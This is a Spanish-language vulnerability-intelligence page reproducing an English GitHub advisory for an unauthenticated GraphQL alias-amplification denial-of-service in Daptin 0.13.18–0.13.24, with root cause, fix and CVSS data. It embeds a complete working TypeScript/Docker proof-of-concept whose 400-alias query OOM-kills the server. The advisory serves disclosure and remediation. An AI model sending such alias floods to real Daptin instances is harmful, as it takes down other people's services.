llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/daptin/daptin

GHSA-FMR3-6G75-7V9V

Unauthenticated GraphQL metering amplification causes OOM and quadratic database growth

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versionesPrimer parche el mismo día de la divulgación
Exposición57 dDesde la divulgación, 23 sept 2026, 8:14 a. m.
Detección56 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche v0.13.25
Monitoreo
Detectada +1
23 sept 26
18 nov 26
20 nov 26
23 sept 26
7 oct 26
22 oct 26
5 nov 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-FMR3-6G75-7V9V divulgada · CVSS 7.5 (GitHub)
Remediación Parche v0.13.25 github.com/daptin/daptin · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

Daptin `v0.13.18` through `v0.13.24` store the complete combined GraphQL response once for every metering reservation created by an operation. GraphQL aliases let an unauthenticated client create hundreds of reservations in one small request while also increasing the combined response size. This produces quadratic persisted payload growth and enough memory pressure to terminate a constrained process.

In three isolated trials, a 20,331-byte request with 400 aliases OOM-killed a 256 MiB official `v0.13.19` container with exit code 137. A non-crashing 5,031-byte request with 100 aliases returned 209,206 bytes but grew the default SQLite database from 3,944,448 to 25,702,400 bytes — an increase of 21,757,952 bytes — in every trial.

Details
Affected releases and patched version

The response fan-out was introduced in `v0.13.18` and remains in `v0.13.24`. The reporter reproduced the issue against `v0.13.19`, commit `8a7530cd855205dcf9d6517e92f36cd2ca36a591` https://github.com/daptin/daptin/commit/8a7530cd855205dcf9d6517e92f36cd2ca36a591. `v0.13.25` contains the fix.

The official image used below is pinned by digest and identifies that exact release commit:

daptin/daptin@sha256:459f33791db685c38524644e0d94364b84e22d6ba11deff7fcea1efb0382574e
Preconditions
  • GraphQL is enabled.
  • A table uses Daptin metering and contains guest-readable data.
  • The attack request itself requires no account or token. The PoC uses an administrator only to create one public 2 KiB seed row during setup.
Root cause

Every metered resolver registers a separate reservation in the request-scoped capture:

  • `server/resource/metering_payload_capture.go` lines 63-74 https://github.com/daptin/daptin/blob/8a7530cd855205dcf9d6517e92f36cd2ca36a591/server/resource/metering_payload_capture.go#L63-L74

After the GraphQL operation completes, the middleware loops over all reservations and sends the same complete combined response to `RecordResponseBody` for each one:

  • `server/metering_payload.go` lines 18-31 and 47-62 https://github.com/daptin/daptin/blob/8a7530cd855205dcf9d6517e92f36cd2ca36a591/server/metering_payload.go#L18-L62
  • `server/resource/metering.go` lines 563-591 https://github.com/daptin/daptin/blob/8a7530cd855205dcf9d6517e92f36cd2ca36a591/server/resource/metering.go#L563-L591

For `N` aliases returning similarly sized rows, the combined response is O(N) and Daptin stores it N times. The persisted response-body volume is therefore O(N²), apart from transaction and serialization overhead.

A request-body limit alone does not address this amplification: the non-crashing 100-alias request is only 5,031 bytes. The response capture and the number of metering reservations also need independent limits.

Suggested remediation
  1. Store a combined operation payload once and reference it from usage rows, or store only a bounded resolver-specific result per reservation.
  2. Enforce operation-level alias, complexity, and reservation limits.
  3. Cap captured response size before persistence.
  4. Add a regression test that increases alias count and asserts storage growth remains linear and bounded.
Resolution

`v0.13.25` stops copying the combined GraphQL HTTP response into each metered resolver record. Each resolver keeps its own result, and the metering service caps retained request and response payloads at 64 KiB while preserving full byte counts and truncation metadata. A GraphQL operation with more than 256 field and fragment selections is rejected before resolvers run; repeated fragment expansions count toward the limit. The shared HTTP metering wrapper also avoids copying one response to multiple reservations, and the LLM adapter bounds its capture buffers.

The fix was validated with the Go test suite and live REST, GraphQL, action, LLM provider, and installed integration requests against local test services.

PoC

Prerequisites: Docker and Bun. Save the following as `f002.ts`.

<!-- BEGIN EMBEDDED POC -->

import { chmod, mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";

const image = "daptin/daptin@sha256:459f33791db685c38524644e0d94364b84e22d6ba11deff7fcea1efb0382574e";
const trials = Number(Bun.env.TRIALS ?? "1");
const schema = `EnableGraphQL: true

Tables:
  - TableName: public_metered
    IsTopLevel: true
    Permission: 3
    DefaultPermission: 2
    Metering:
      Enabled: true
      CostExpr: "1"
      MeterType: requests
    Columns:
      - Name: content
        ColumnName: content
        ColumnType: content
        DataType: text
        IsNullable: false
`;

if (!Number.isInteger(trials) || trials < 1 || trials > 10) {
  throw new Error("TRIALS must be an integer from 1 to 10");
}

async function docker(args: string[], allowFailure = false) {
  const child = Bun.spawn(["docker", ...args], { stdout: "pipe", stderr: "pipe" });
  const [stdout, stderr, exitCode] = await Promise.all([
    new Response(child.stdout).text(),
    new Response(child.stderr).text(),
    child.exited,
  ]);
  if (exitCode !== 0 && !allowFailure) {
    throw new Error(`docker ${args[0]} failed (${exitCode}): ${stderr.trim()}`);
  }
  return { stdout: stdout.trim(), stderr: stderr.trim(), exitCode };
}

async function request(baseUrl: string, path: string, init: RequestInit = {}) {
  const response = await fetch(`${baseUrl}${path}`, init);
  const text = await response.text();
  let body: unknown = text;
  try { body = text === "" ? null : JSON.parse(text); } catch {}
  return { status: response.status, body };
}

async function action(baseUrl: string, path: string, attributes: object, token?: string) {
  return request(baseUrl, path, {
    method: "POST",
    headers: {
      "Content-Type": "application/json",
      ...(token ? { Authorization: `Bearer ${token}` } : {}),
    },
    body: JSON.stringify({ attributes }),
  });
}

function tokenFrom(body: unknown) {
  if (!Array.isArray(body)) throw new Error("Sign-in response was not an array");
  for (const item of body) {
    if (!item || typeof item !== "object") continue;
    const value = item as Record<string, any>;
    if (value.ResponseType === "client.store.set" && typeof value.Attributes?.value === "string") {
      return value.Attributes.value as string;
    }
  }
  throw new Error("Sign-in response contained no token");
}

async function waitForReady(baseUrl: string) {
  for (let attempt = 0; attempt < 160; attempt += 1) {
    try {
      if ((await request(baseUrl, "/ping")).status === 200) return;
    } catch {}
    await Bun.sleep(250);
  }
  throw new Error("Daptin did not become ready");
}

async function bootstrap(baseUrl: string, suffix: string) {
  const email = `f002-${suffix}@local.test`;
  const password = "Local-Reproduction-Only-2026!";
  const signup = await action(baseUrl, "/action/user_account/signup", {
    name: "F002 local administrator", email, password, passwordConfirm: password,
  });
  if (signup.status < 200 || signup.status >= 300) throw new Error(`Sign-up returned ${signup.status}`);

  let signin = await action(baseUrl, "/action/user_account/signin", { email, password });
  let token = tokenFrom(signin.body);
  const claim = await action(baseUrl, "/action/world/become_an_administrator", {}, token);
  if (claim.status < 200 || claim.status >= 300) throw new Error(`Admin claim returned ${claim.status}`);

  signin = await action(baseUrl, "/action/user_account/signin", { email, password });
  token = tokenFrom(signin.body);
  const seed = await request(baseUrl, "/api/public_metered", {
    method: "POST",
    headers: {
      "Content-Type": "application/vnd.api+json",
      Authorization: `Bearer ${token}`,
    },
    body: JSON.stringify({
      data: { type: "public_metered", attributes: { content: "M".repeat(2048) } },
    }),
  });
  if (seed.status < 200 || seed.status >= 300) throw new Error(`Seed request returned ${seed.status}`);
}

async function sendAliases(baseUrl: string, count: number) {
  const fields = Array.from({ length: count }, (_, index) =>
    `a${index}: public_metered(page: {size: 1}) { content }`
  ).join("\n");
  const body = JSON.stringify({ query: `query AliasAmplification {\n${fields}\n}` });
  try {
    const response = await fetch(`${baseUrl}/graphql`, {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body,
    });
    return {
      aliases: count,
      requestBytes: new TextEncoder().encode(body).byteLength,
      status: response.status,
      responseBytes: (await response.bytes()).byteLength,
    };
  } catch (error) {
    return {
      aliases: count,
      requestBytes: new TextEncoder().encode(body).byteLength,
      error: error instanceof Error ? error.message : String(error),
    };
  }
}

async function inspect(name: string) {
  const result = await docker(["inspect", name, "--format", "{{json .State}}"]);
  return JSON.parse(result.stdout);
}

async function databaseBytes(name: string) {
  const result = await docker(["exec", name, "stat", "-c", "%s", "/var/lib/daptin/daptin.db"]);
  const value = Number(result.stdout);
  if (!Number.isFinite(value)) throw new Error(`Invalid database size: ${result.stdout}`);
  return value;
}

async function runCase(mode: "growth" | "oom", index: number) {
  const directory = await mkdtemp(join(tmpdir(), "daptin-f002-"));
  await chmod(directory, 0o755);
  await writeFile(join(directory, "schema_alias.yaml"), schema, { mode: 0o644 });
  const name = `daptin-f002-${mode}-${Date.now()}-${index}`;

  await docker([
    "run", "-d", "--name", name,
    "--memory", "256m", "--memory-swap", "256m",
    "--security-opt", "no-new-privileges:true",
    "-e", "DAPTIN_DISABLE_SMTP=true",
    "-e", "DAPTIN_SCHEMA_FOLDER=/schemas",
    "-p", "127.0.0.1::8080",
    "--tmpfs", "/var/lib/daptin:rw,size=192m,uid=10001,gid=10001,mode=0750",
    "-v", `${directory}:/schemas:ro`,
    image,
  ]);

  try {
    const portOutput = await docker(["port", name, "8080/tcp"]);
    const port = portOutput.stdout.match(/127\.0\.0\.1:(\d+)/)?.[1];
    if (!port) throw new Error(`Unexpected port output: ${portOutput.stdout}`);
    const baseUrl = `http://127.0.0.1:${port}`;
    await waitForReady(baseUrl);
    await bootstrap(baseUrl, `${mode}-${Date.now()}-${index}`);

    const control = await sendAliases(baseUrl, 1);
    const databaseBeforeAttack = mode === "growth" ? await databaseBytes(name) : null;
    const attack = await sendAliases(baseUrl, mode === "growth" ? 100 : 400);
    let state = await inspect(name);
    for (let attempt = 0; mode === "oom" && state.Running && attempt < 40; attempt += 1) {
      await Bun.sleep(250);
      state = await inspect(name);
    }
    const databaseAfterAttack = mode === "growth" ? await databaseBytes(name) : null;
    const databaseGrowthBytes = databaseBeforeAttack === null || databaseAfterAttack === null
      ? null
      : databaseAfterAttack - databaseBeforeAttack;
    return { control, attack, databaseBeforeAttack, databaseAfterAttack, databaseGrowthBytes, state };
  } finally {
    await docker(["rm", "-f", name], true);
    await rm(directory, { recursive: true, force: true });
  }
}

const results = [];
for (let index = 0; index < trials; index += 1) {
  const growth = await runCase("growth", index);
  const oom = await runCase("oom", index);
  results.push({ trial: index + 1, growth, oom });
}

const reproduced = results.every(({ growth, oom }) =>
  growth.control.status === 200 &&
  growth.attack.status === 200 &&
  growth.attack.requestBytes < 6_000 &&
  growth.attack.responseBytes > 200_000 &&
  growth.databaseGrowthBytes !== null &&
  growth.databaseGrowthBytes > 10 * 1024 * 1024 &&
  growth.state.Running === true &&
  growth.state.OOMKilled === false &&
  oom.control.status === 200 &&
  oom.attack.requestBytes < 25_000 &&
  oom.state.OOMKilled === true &&
  oom.state.ExitCode === 137
);

console.log(JSON.stringify({
  image,
  memoryLimitMiB: 256,
  databaseGrowthThresholdBytes: 10 * 1024 * 1024,
  results,
  reproduced,
}, null, 2));
if (!reproduced) process.exitCode = 1;

<!-- END EMBEDDED POC -->

Run three isolated trials:

TRIALS=3 bun f002.ts

The script uses fresh containers for both impact paths, binds them only to random `127.0.0.1` ports, and removes each exact container and temporary schema directory. A successful run exits 0 with `"reproduced": true`. In every trial, the unauthenticated 100-alias request stays below 6 KiB, returns HTTP 200 with a response above 200 KiB, grows `daptin.db` by more than 10 MiB, and leaves Daptin running. The separate unauthenticated 400-alias request stays below 25 KiB and leaves its container `OOMKilled: true` with exit code 137.

Impact

An unauthenticated remote client can OOM-kill a 256 MiB Daptin container with one 20,331-byte request. In the non-crashing oracle, one 5,031-byte request added 21,757,952 bytes to the default SQLite database. Repetition can consume available database storage and deny service.

No unauthorized application-data modification or disclosure was demonstrated.

Reported by Omoikane Labs https://github.com/Omoikane-Labs. Requested credit: ffasterss https://github.com/ffasterss and shirabe0x05 https://github.com/shirabe0x05.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
github.com/daptin/daptin≥ 0.13.18 < 0.13.25
0.13.18
0.13.25
v0.13.57
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/daptin/daptin
Corregida v0.13.25 0 d v0.13.57 no afectada
Versiones corregidas0.13.25v0.13.25
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/daptin/daptin/security/advisories/GHSA-fmr3-6g75-7v9v

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.